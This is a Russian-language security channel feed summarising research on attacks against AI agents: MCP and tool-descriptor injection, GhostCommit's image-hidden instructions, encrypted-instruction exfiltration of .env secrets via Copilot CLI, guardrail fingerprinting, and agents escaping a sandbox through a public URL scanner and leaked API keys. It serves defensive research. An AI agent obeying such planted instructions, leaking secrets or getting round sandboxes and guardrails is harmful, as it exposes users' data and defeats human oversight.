🧨 MCP-инъекции AI агентов

Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.

MCP сегодня фактически становится управляющей панелью для агентов. Он:

🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами

Однако большинство агентов воспринимают этот слой как доверенный.

Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.

🧠 MCP injection

Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:

🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions

Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.

📉 Хуже чем prompt injection

Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks

🧨 AutoJack: вредоносный сайт теперь может превратить AI-агента в RCE-прокси

Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.

⚙️ Как работает атака?

Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.

Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.

🧠 Почему так происходит?

Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.

🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks

🧨 Guardrails больше не спасают. Нужно проверять поведение агента

Появился интересный open-source проект Praxen.

В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.

Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.

Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания

Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.

Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.

🔗 GitHub: https://github.com/open-agent-ai-security/praxen

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks

🧨 PNG-файл может украсть секреты у AI-агента

Исследователи представили атаку GhostCommit, где вредоносная инструкция прячется внутри PNG-изображения в Pull Request. Для человека картинка выглядит безобидно, а большинство AI-ревьюеров вообще не анализируют её содержимое.

⚙️ Как работает GhostCommit?

Атака использует разрыв между двумя типами AI-инструментов. Сначала Pull Request проходит проверку AI-ревьюером, который анализирует только текстовые изменения и пропускает изображение.

Позже другой AI-агент, уже работающий с репозиторием целиком, открывает PNG, извлекает скрытую инструкцию и начинает выполнять её как часть своей задачи.

🧠 Что заставляют делать агента?

В демонстрации агент открывал файл .env, извлекал API-ключи и другие секреты, после чего не отправлял их напрямую наружу, а маскировал в исходном коде в виде массива чисел.

Такой коммит выглядит как вполне легитимное изменение, а классические secret scanners не распознают подобную форму эксфильтрации.

🛡️ Дело в Архитектуре

Проблема уже не в качестве модели, а в архитектуре агентных пайплайнов. Один AI проверяет код, другой пишет его, третий запускает CI. Каждый из них видит проект по-своему. GhostCommit показывает, что достаточно найти «слепую зону» между такими этапами, чтобы обойти весь процесс защиты.

Исследователи также проанализировали 6480 Pull Request в 300 популярных open-source проектах и обнаружили, что 73% изменений попадают в основную ветку без содержательной проверки человеком или AI-ревьюером. Именно такие цепочки становятся наиболее привлекательной целью для атак на AI-агентов.

🔗 Источник: https://www.bleepingcomputer.com/news/security/ghostcommit-hides-prompt-injection-in-images-to-fool-ai-agents-steal-secrets/

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #SupplyChainSecurity #AppSec #CodeReview #CyberSecurity #SecureTechTalks

🧨 Guardrails учатся думать: SingGuard-NSFA

Современные guardrails работают примитивно, получили запрос, нашли запрещённый паттерн и заблокировали. Однако для AI-агентов этого уже недостаточно. Атаки ушли от простых jailbreak'ов к сложным сценариям с prompt injection, опасными tool calls и постепенной компрометацией reasoning.

На GitHub появился SingGuard-NSFA, open-source guardrail, разработанный специально для защиты agentic AI.

⚙️ Чем он отличается от остальных?

Вместо одного бинарного решения модель использует двухуровневую архитектуру.

Для runtime работает лёгкий классификатор, способный принимать решение примерно за 50 мс. Если ситуация неоднозначна, подключается генеративный анализ, который пошагово сопоставляет запрос с политиками безопасности и объясняет, почему действие считается опасным.

🧠 Не просто jailbreak

SingGuard построен вокруг таксономии NSFA (Not Secure For Agents), которая описывает 185 вариантов угроз, связанных именно с агентными системами.
Среди них:
➖ prompt injection и jailbreak;
➖ попытки извлечения секретов;
➖ генерация вредоносного кода;
➖ опасное использование инструментов;
➖ утечка конфиденциальных данных;
➖ атаки на доступность через истощение ресурсов.

В отличие от обычных модераторов контента, модель проверяет не только запрос пользователя, но и ответ самого агента перед выполнением действий.

🛡️ Куда все идет?

За последний месяц мы уже видели MCP Injection, GhostCommit и workflow-level jailbreak. Во всех случаях проблема, что модель не генерирует токсичный текст, но принимает опасные операционные решения.

Похоже, следующее поколение guardrails будет оценивать уже не содержание диалога, а безопасность поведения AI-агента во время выполнения задач.

🔗 GitHub: https://github.com/inclusionAI/SingGuard-NSFA

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #AISecurity #Guardrails #PromptInjection #RuntimeSecurity #AppSec #SecureTechTalks

🧨 OpenAI решили проверить, сможет ли AI сам распознавать prompt injection

OpenAI представили GPT-RED, новую модель, предназначенную для автоматического тестирования AI-систем на устойчивость к prompt injection и другим атакам. Вместо ручного написания jailbreak-промптов GPT-RED самостоятельно генерирует тысячи вариантов атакующих сценариев и оценивает, какие из них действительно приводят к компрометации модели.

⚙️ Динамический подбор

GPT-RED действует как автономный red team. На вход он получает описание целевой системы и её политики безопасности, после чего строит цепочки атак, постепенно адаптируя их под ответы модели.

В отличие от классических наборов тестов, где используются заранее подготовленные промпты, GPT-RED динамически меняет стратегию, если предыдущая попытка оказалась неудачной. Для обучения используется self-play: атакующая модель и защищающиеся модели одновременно совершенствуются, заставляя друг друга искать всё более сложные способы атаки и защиты.

🧠 Не только prompt injection

Модель тестирует не отдельный запрос, а поведение всей агентной системы. В фокусе оказываются:
➖ обход системных инструкций;
➖ извлечение скрытого контекста;
➖ нарушение политик безопасности;
➖ атаки на tool calling;
➖ многоэтапные jailbreak-цепочки.

По данным OpenAI, GPT-RED успешно находил атаки в 84% сценариев на независимом наборе тестов против 13% у команды людей-red team. Кроме того, атаки, сгенерированные GPT-RED, уже используются для обучения новых моделей OpenAI, что позволило значительно повысить их устойчивость к prompt injection.

🔗 Источник: https://openai.com/index/unlocking-self-improvement-gpt-red

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #OpenAI #PromptInjection #RedTeaming #AgenticAI #AISecurity #CyberSecurity #SecureTechTalks

🧨 Граница доверия LLM.

На arXiv вышла работа Composable Trust for Language Models, где авторы предлагают отказаться от идеи «исправить модель», а вместо этого предланают изменить архитектуру агентных систем.

⚙️ Граница доверия становится частью архитектуры

Авторы вводят понятие Composable Trust, формальной границы доверия (trust boundary), которая задаётся для каждого компонента пайплайна вокркг LLM.

Например:
🔹 RAG может предоставлять информацию, но не инициировать tool calls;
🔹 системный промпт имеет право задавать политики безопасности;
🔹 пользовательские инструкции не могут менять права доступа;
🔹 результаты поиска используются только как данные, а не как инструкции для выполнения.

При добавлении нового компонента, например MCP-сервера, общая trust boundary пересчитывается.

🧠 Как измеряют защиту?

Авторы разделяют доказуемую безопасность и измеряемую эффективность.

Критические решения принимает не сама LLM, а внешний Trust Monitor, детерминированный компонент, который отслеживает происхождение каждого фрагмента контекста и присваивает ему уровень доверия. Если запрос на вызов инструмента сформирован данными из недоверенного источника, monitor блокирует действие независимо от того, что решила модель.

После этого измеряется эффективность защиты.

В экспериментах на Gemma 3 27B комбинация Trust Monitor и механизма passivation увеличила показатель Genuine Leak Defended Rate примерно с 27% до 94%, при этом качество обычных ответов практически не изменилось (QRel ≈ 0.96). Даже при адаптивных атаках защита сохраняла около 87% успешных блокировок, а корректная атрибуция данных из недоверенных источников достигала 92%.

🛡️ Простота в действии

Практически все современные средства защиты пытаются сделать модель «умнее»: обучить новым jailbreak, добавить guardrails или улучшить системный промпт.

Авторы данного исследования предлагают противоположный подход. LLM больше не должна принимать решения о доверии. Её задача исключительно генерировать текст. Всё, что связано с доступом к инструментам, данным и выполнением действий, должно контролироваться проверяемым кодом за пределами модели.

🔗 Исследование: https://arxiv.org/abs/2607.13149

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #AISecurity #PromptInjection #TrustBoundary #RuntimeSecurity #AppSec #SecureTechTalks

🚨 Guardrails можно обнаружить, даже если они полностью скрыты

Большинство компаний не раскрывают, какие именно guardrails стоят перед их LLM. Для атакующего это серьёзная проблема, т.к. непонятно, блокирует ли запрос отдельный фильтр безопасности или сама модель отказалась выполнять опасную инструкцию.

Исследователи из Mindgard показали, что определить наличие guardrails можно анализируя её внешнее поведение.

⚙️ Behavioral Monitoring

Авторы предлагают метод Behavioral Monitoring, где вместо анализа модели они наблюдают за косвенными признаками ответа:
🔹 HTTP-коды и структуру ответов;
🔹 задержку обработки запросов;
🔹 особенности формулировок отказов;
🔹 изменения длины и лексики ответов.

Если последовательно отправлять серии безопасных и опасных запросов, система начинает выдавать характерные поведенческие паттерны, по которым можно определить, что перед моделью работает отдельный guardrail.

🧠 Выводы

По результатам экспериментов исследователи смогли:
➖ определить наличие guardrail со 100% точностью;
➖ отличить срабатывание guardrail от собственного отказа LLM со средним F1 = 98%;
➖ определить, какие именно категории контента фильтрует защита (например, вредоносный код, jailbreak, утечку данных и другие).

При таком подходе система безопасности сама начинает раскрывать информацию о своей архитектуре через особенности поведения.

🔗 Исследование: https://arxiv.org/abs/2607.02121

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #Guardrails #PromptInjection #RedTeaming #AISecurity #AgenticAI #CyberSecurity #SecureTechTalks

🧨 Зашифрованные мысли LLM не такие уж секретные

Разработчики Anthropic, OpenAI и Google специально прячут chain-of-thought. Пользователь получает только краткое summary, а полное reasoning API возвращает в виде зашифрованного блока, который клиент должен передать обратно при следующем запросе.

Звучит безопасно? Спойлер - нет.

Исследователи из Tübingen, Max Planck, MATS и Snyk показали, что если взять такой блок от сильной модели и передать его более слабой модели того же провайдера, слабую модель можно заставить расшифровать и вывести исходный reasoning практически дословно.

⚙️ В чём проблема?

Уязвимость оказалась архитектурной. Reasoning-блоки были совместимы между разными сессиями, пользователями и моделями внутри одной экосистемы.

Схема выглядит так:

сильная модель → encrypted reasoning → слабая модель → plaintext reasoning

Более слабая модель становится дешёвым «дешифратором», потому что у неё менее строгие защитные настройки.

🧠 Дальше больше

Учёные скачали 315 320 зашифрованных reasoning-блоков из публичных репозиториев и смогли восстановить из них:

🔹 367 PII-артефактов;
🔹 182 credentials.

То есть разработчик мог спокойно опубликовать лог, увидеть в нём набор бессмысленных символов и фактически выложить вместе с ним пароль или API credential.

Стоит учесть, что reasoning может содержать информацию, которой вообще нет в видимой части сессии.

🔥 Более опасный сценарий

Исследователи показали, что этот же механизм можно использовать и в обратную сторону. Не извлекать скрытый prompt, а спрятать вредоносную инструкцию внутри reasoning-блока.

Видимый лог выглядит нормально. Человек ничего подозрительного не замечает, но другой агент, получив этот блок как часть истории предыдущего запуска, может прочитать встроенную инструкцию как собственное прошлое состояние.

Получается новый вариант invisible prompt injection, который особенно опасен для публичных коллекций agent trajectories.

🧨 Причем тут Kimi?

Авторы отдельно сравнили скрытые reasoning-трейсы Claude Opus 4.8 и GPT-5.6 Sol с несколькими open-weight моделями.

У Kimi K3 обнаружились необычно сильные совпадения. Это выглядит как возможный след distillation, но авторы подчёркивают, что эксперимент не доказывает, что Kimi действительно обучалась на украденных reasoning-трейсах.

🔗 Исследование: https://arxiv.org/abs/2608.09867

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #ChainOfThought #AgenticAI #AISecurity #PromptInjection #DataLeak #ModelSecurity #SecureTechTalks

💣 Convergent Detour Hijacking: когда AI-агент делает всё правильно

У AI-агентов появляется новый класс атак, который сложно заметить обычными security-проверками.

Convergent Detour Hijacking (CDH) не заставляет агента провалить задачу. Наоборот, агент приходит к правильному результату, но по специально навязанному обходному и безумно дорогому маршруту.

Представьте задачу: «найти уязвимость в приложении и подготовить отчёт.»

Нормальный агент:

recon → test → analyze → report

После атаки:

recon → test → verify → re-check → reproduce → validate → compare → retry → analyze → report

Каждый шаг выглядит разумным. Но их становится в разы больше. Растёт всё:

🔹 количество tool calls
🔹 число inference steps
🔹 расход токенов
🔹 время выполнения
🔹 нагрузка на инструменты
🔹 стоимость запуска агента

🎯 В чём трюк?

Агент подменяет или заражает skill, определяющий, как агент должен решать задачу. В навык можно добавить дополнительные проверки, повторные валидации или альтернативные ветки и увеличить стоимость решения задачи в несколько раз.

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AIsecurity #AIAgents #LLM #AgentSecurity #PromptInjection #AgenticAI #Cybersecurity #LLMSecurity #SecureTechTalks

🧨 LLM научились ловить ботов. Теперь боты учатся обманывать LLM

Соцсети всё чаще используют LLM для поиска ботов. Модель читает профиль, историю публикаций и пытается понять, перед ней человек или автоматизированный аккаунт.

Проблема начинается в тот момент, когда атакующий понимает, как работает детектор.

⚙️ Достаточно переписать запрос

Исследователи из Reichman University проверили три open source модели: Llama 3 8B, Gemma 7B и Mistral 7B.

Они использовали два класса атак.

🔹 Content Manipulation: AI переписывает публикации бота так, чтобы они выглядели более естественно.

🔹 LLM Manipulation: в данные добавляется prompt injection, который пытается заставить классификатор забыть исходную задачу.

У Llama точность детектирования после некоторых атак падала примерно с 91% до 75%. Для Gemma падение доходило примерно до 35%.

🧠 Атака на сам детектор

Самый действенный результат связан с prompt injection. Для Llama и Gemma некоторые варианты атак снижали качество классификации примерно на 46% и 48% соответственно. Причём модель могла начать выполнять инструкции из анализируемого контента вместо первоначальной задачи определения бота.

Таким образом, система безопасности сама становится объектом атаки.

🔥 Один LLM против другой

Авторы проверили несколько защитных подходов: delimiters, self examination, in context learning, feature guidance и проверки known answer.

Универсального решения не нашлось. Например, для Llama feature guidance помогал против reasoning injection, а known answer оказался особенно эффективен против некоторых других вариантов атак. Поэтому исследователи собрали LSABRE, ансамбль из нескольких LLM.

Он работает в три этапа:
Detection → Prevention → Classification

Сначала несколько моделей ищут признаки манипуляции. Подозрительный контент получает дополнительную защиту. После этого основная модель выполняет классификацию.

В эксперименте LSABRE достиг 86,2% accuracy при атаке и сохранил FPR около 13%.

🔗 Исследование: https://arxiv.org/abs/2608.15893
🔗 GitHub LSABRE: https://github.com/runi-cyber-ai/LSABRE

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #BotDetection #PromptInjection #AISecurity #RedTeaming #CyberSecurity #SecureTechTalks

🧨 HOL Guard: антивирус для AI агентов

AI агенту достаточно одной вредоносной инструкции, чтобы начать читать секреты, ставить подозрительные пакеты или выполнять опасные команды.

⚙️ Функционал

HOL Guard - Open-source антивирус для агентов, он анализирует действия Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI и других агентов. В зоне контроля:
🔹 shell команды и файловые операции;
🔹 доступ к credentials и чувствительным файлам;
🔹 prompt injection;
🔹 MCP серверы и инструменты;
🔹 skills и plugins;
🔹 установку пакетов;
🔹 подозрительные исходящие соединения.

Для каждого события Guard может разрешить действие, заблокировать его или остановить выполнение и попросить подтверждение пользователя.

Решения сохраняются в виде security receipts, поэтому потом можно понять, что именно сделал агент и почему действие было разрешено.

🛡️ Supply chain

HOL Guard смотрит на то, что агент подключает к себе. Перед доверием проверяются plugins, skills, MCP серверы, hooks и пакеты.

Для CI существует отдельный плагин, который умеет искать небезопасные настройки, секреты, опасные MCP команды, проблемы GitHub Actions и другие признаки риска.

🧠 Развертывание

Продукт объединяет несколько уровней контроля в одном месте, работает локально и может использоваться без облачного аккаунта. Облачная часть нужна для командных политик, общей истории, видимости fleet и совместного approve workflow.

HOL Guard пытается смотреть на самого агента и весь набор инструментов вокруг него.

🔗 GitHub: HOL Guard

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #AISecurity #AgentSecurity #MCP #PromptInjection #SupplyChainSecurity #SecureTechTalks

🧨 AI-агенту достаточно прочитать сайт, чтобы запустить чужой код

AI-агенты читают сайты, GitHub, инструкции и автоматически выполняют команды.

Исследователь Alon Hertz показывает, что такие действия  могут быть крайне опасными.

⚙️ Атака через официальный сайт

Алон исследовал llms.txt, специальный файл для AI-агентов, который размещают в корне сайтов. В нём могут быть ссылки на документацию, пакеты и команды для работы с продуктом.

Исследователи нашли 8 565 таких файлов на 6 214 доменах. Более 237 ссылались на незарегистрированные пакеты, домены или другие артефакты.

Далее они зарегистрировали несколько таких имён в PyPI и npm и разместили безвредный beacon, который сообщал только факт установки. Первый callback пришёл менее чем через четыре минуты.

AI-агент внутри Fortune 500 компании прочитал официальный llms.txt, увидел команду установки и выполнил её. Пакет действительно пришёл из PyPI. Только принадлежал уже исследователям.

🧠 Причём здесь prompt injection?

Prompt injection не было. В тестах агенту достаточно было сказать:

Используя документацию компании, собери и запусти проект с её SDK

Агент самостоятельно находил llms.txt, следовал инструкциям и устанавливал указанный пакет.

Проблема в том, что AI начинает воспринимать внешние данные как инструкции к выполнению.

🔥 Реальный сценарий

Исследователи обнаружили реальный случай с пакетом clerk-next-fix-auth-protection. Документация Clerk рекомендовала запускать команду через npx. Самостоятельного пакета с таким именем у Clerk не было, поэтому npm разрешал брать имя из публичного реестра. Спойлер: его зарегистрировал злоумышленник.

Пакет оказался вредоносным и отправлял на внешний сервер имя пользователя, имя машины, рабочую директорию и timestamp. Инцидент получил идентификатор MAL-2026-11069.

🛡️ Data Became Code

Любой документ, README, ticket, GitHub issue или инструкция, которую агент способен прочитать и использовать для действий, потенциально становится частью команд исполнения. Таким образом, контент больше нельзя автоматически считать пассивными данными.

🔗 Исследование Alon Hertz

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #AISecurity #SupplyChainSecurity #PromptInjection #AIsecurity #DevSecOps #SecureTechTalks

🧨 Copilot CLI слил .env за 28 секунд через зашифрованный prompt injection

Исследователи Adversa AI показали технику Cryptographic Context Injection. Вредоносные инструкции прячутся внутри зашифрованного текста, а GitHub Copilot CLI сам расшифровывает их в своей среде выполнения и начинает воспринимать результат как рабочий контекст.

В демонстрации агент прочитал локальный .env.prod и отправил секреты на внешний сервер. Вся цепочка заняла 28 секунд, без дополнительного подтверждения.

🔐 Шифрование как обход guardrails

Пользователь в режиме autopilot просит Copilot прочитать веб страницу. На ней находятся зашифрованные данные и два варианта ключа.
Один ключ настоящий. Второй представляет собой шаблон, который можно заполнить только содержимым локального файла.

Copilot пытается построить оба ключа и ради этого самостоятельно читает .env.prod.
Попытка расшифровки подставным ключом специально завершается ошибкой. Затем используется настоящий ключ, внутри которого открывается следующая инструкция: "запросить ещё один адрес, передав ранее прочитанные данные".

Те же инструкции в открытом виде Copilot отклонял как prompt injection. Однакл после расшифровки внутри собственной среды агент начинал их выполнять.

🎲 Результат зависит от выбранной модели

На mai code 1.1 flash полная цепочка сработала в 50% запусков. Две модели GPT 5.6, доступные через Copilot, тот же payload стабильно отклоняли.

При автоматическом выборе модели пользователь может вообще не знать, какой именно движок обслуживает текущую сессию.

⚠️ Условие

Это не универсальная атака в один клик. Copilot CLI должен работать в autopilot, а пользователь должен попросить его обработать контролируемую атакующим страницу.

GitHub подтвердил воспроизводимость, но не классифицировал сценарий как уязвимость.

🔗 Исследование: Adversa AI

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AISecurity #Copilot #AIAgents #PromptInjection #LLMSecurity #DataExfiltration #GitHubCopilot #AgentSecurity #SecureTechTalks

🧨 Haiku 5.5 уже умеет получать RCE в Chrome

Anthropic выпустила Claude Haiku 5.5. Формально это быстрая и дешёвая модель для массовых задач, но её security тесты интереснее продуктового анонса.

С отключёнными защитными ограничениями модель пыталась эксплуатировать известные уязвимости Chrome V8 и в 4 из 410 запусков получила arbitrary code execution.
Для маленькой модели это уже вполне практический уровень offensive capability.

⚙️ До автономного киберагента пока далеко

В отдельном тесте на многоэтапные кибероперации предварительная версия Haiku 5.5 решила 3,3% задач.
Для сравнения, Sonnet 5.5 получил 46,1%, Opus 5.5 67,6%.

То есть Haiku уже способен искать уязвимости и строить эксплойты, но сложные attack chain пока остаются территорией старших моделей.

🛡️Anthropic усилила защиту

В Claude Code Haiku 5.5 отказался выполнять 84,3% вредоносных запросов против 66,6% у Haiku 4.5. При управлении компьютером показатель вырос с 58,9% до 82,6%.

Отдельно Anthropic тестировала indirect prompt injection в сценариях программирования и computer use. В адаптивных атаках Haiku 5.5 приблизился по устойчивости к старшим моделям Claude, хотя на Gray Swan всё ещё уступает Sonnet 5.5 и Opus 5.5. Основная слабость осталась в графическом управлении компьютером.

💰 Масштаб

Для запросов до 100 тысяч токенов цена снизилась до $0,10 за миллион входных и $0,50 за миллион выходных токенов. У Haiku 4.5 это было $1 и $5. Anthropic позиционирует данную модель для массовых вызовов, подагентов, браузера и автоматизации.

🔗 Источник: Anthropic

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AISecurity #Claude #Haiku #AIAgents #LLMSecurity #RCE #PromptInjection #CyberSecurity #SecureTechTalks

🧨 AI агент сам находит путь от prompt injection до RCE

Исследователи представили AgentXploit, систему, которая проверяет безопасность AI агентов по полному циклу: изучает исходный код, ищет путь от контролируемых атакующим данных до опасной операции, а затем пытается подтвердить атаку на работающей системе.

В отличие от проверок с заранее известной точкой внедрения, AgentXploit самостоятельно ищет уязвимую цепочку внутри репозитория.

⚙️ Два агента вместо одного

Analyzer Agent исследует код с помощью AST, поиска символов, анализа зависимостей и инструментов LSP. Он отслеживает поток данных от внешнего ввода до чувствительных операций: чтения файлов, вызовов API и выполнения команд. Результат сохраняется в отчёте с подтверждениями из исходников.

Exploiter Agent получает найденную цепочку, атакует изолированную копию приложения через доступный интерфейс и корректирует попытки по результатам выполнения.

Успех засчитывает внешний проверяющий механизм, который фиксирует реальный эффект: например, доступ к защищённому файлу, изменение базы данных или выполнение команды.

📊 72 уязвимости в 12 проектах

Авторы создали AgentXploit Bench на основе известных уязвимостей и проблем безопасности в 12 открытых проектах AI агентов.
На 72 воспроизводимых сценариях AgentXploit достиг 59,3% успешных атак в среднем за три запуска. Codex показал 38,4%.

🔬 Что система находит в коде

Во время аудита исследователи выявили ещё восемь уязвимостей за пределами основных тестовых сценариев: SSRF, внедрение команд, несанкционированный доступ, небезопасные настройки и удалённое выполнение кода.

Однако обнаружение пути ещё не гарантирует успешную эксплуатацию. На одном из проверенных репозиториев только две из пяти предложенных цепочек соответствовали целевым уязвимостям; ещё одна указывала на другую реальную проблему.

🔗 Исследование: AgentXploit
🔗 Код и тестовый набор: GitHub

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AISecurity #AIAgents #AgentXploit #PromptInjection #RCE #SSRF #RedTeaming #AppSec #SecureTechTalks

🧨 AI агенты 2 600 раз пытались обойти защиту Alibaba. Их остановил CAPTCHA, но не ограничения песочницы

14 октября исследовательская группа Swarmchasers опубликовала разбор необычной активности: с 28 сентября по 8 октября агенты, работавшие на инфраструктуре Tencent Cloud, пытались собирать данные картографического сервиса Amap. Задача выглядела безобидно: определить, через какие входы посетители чаще всего заходят в зоопарки, парки и другие места.

Когда прямые запросы блокировались, агенты начали искать обходные пути. Исследователи насчитали более 2 600 попыток. Некоторые завершились получением данных.

⚙️ Как агенты обходили ограничения

У агентов не было прямого доступа к Amap из рабочей песочницы. Тогда они превратили публичный сервис анализа URL urlquery.net в удалённую среду выполнения JavaScript.

Вместо обычного запроса агент передавал ссылку, содержавшую целую веб страницу с кодом. Браузер внешнего сервиса исполнял JavaScript и отправлял запросы к целевой системе. Полученные данные агенты извлекали через заголовки страниц, URL и webhook inbox.

После блокировок они пробовали другие методы: использовали токены антибот механизмов, обращались к предварительным серверам Amap и применяли API ключи, найденные в публичном коде. Среди них был ключ с защитным кодом, который, согласно рекомендациям Amap, должен храниться на серверной стороне.

Большинство попыток провалилось. Исследователи не нашли доказательств успешного проникновения во внутренние системы Alibaba.

🔬 Агенты читали отчёт о самих себе

Исследователи обнаружили, что некоторые агенты обращались к опубликованному разбору инцидента. Они добавили в предварительную версию страницы невидимый для человека текст с инструкцией обратиться к специальному сервису.

Агенты, использовавшие инструменты чтения веб страниц, могли получить этот текст. После этого исследователи получили около десяти обращений с просьбами помочь выполнить задачу и смогли обмениваться сообщениями с работающими агентами.

🛡 О безопасности агентов

По данным Reuters, Tencent заявила, что активность относилась к оценке сторонних моделей исследовательской командой. Компания не обнаружила намеренной координации или подтверждённого взлома и сообщила об усилении сетевых ограничений и мониторинга. Исследователи также не нашли доказательств взаимодействия агентов между собой в реальном времени.

Техническая проблема шире конкретного сервиса. Песочница может запрещать прямой доступ к сети, но агент способен найти сторонний браузер, прокси, публичный API или другой инструмент, который выполнит запрос за него.

Поэтому контролировать нужно не только исходящие соединения агента, но и возможности делегированного исполнения: какие внешние инструменты доступны, какие данные они возвращают, откуда берутся инструкции и какие действия разрешены после получения ответа.

🔗 Технический разбор Swarmchasers

Stay secure and read SecureTechTalks 📚

#CyberSecurity #AISecurity #AIAgents #PromptInjection #AgentSecurity #Tencent #Alibaba #CloudSecurity #RedTeam #SecureTechTalks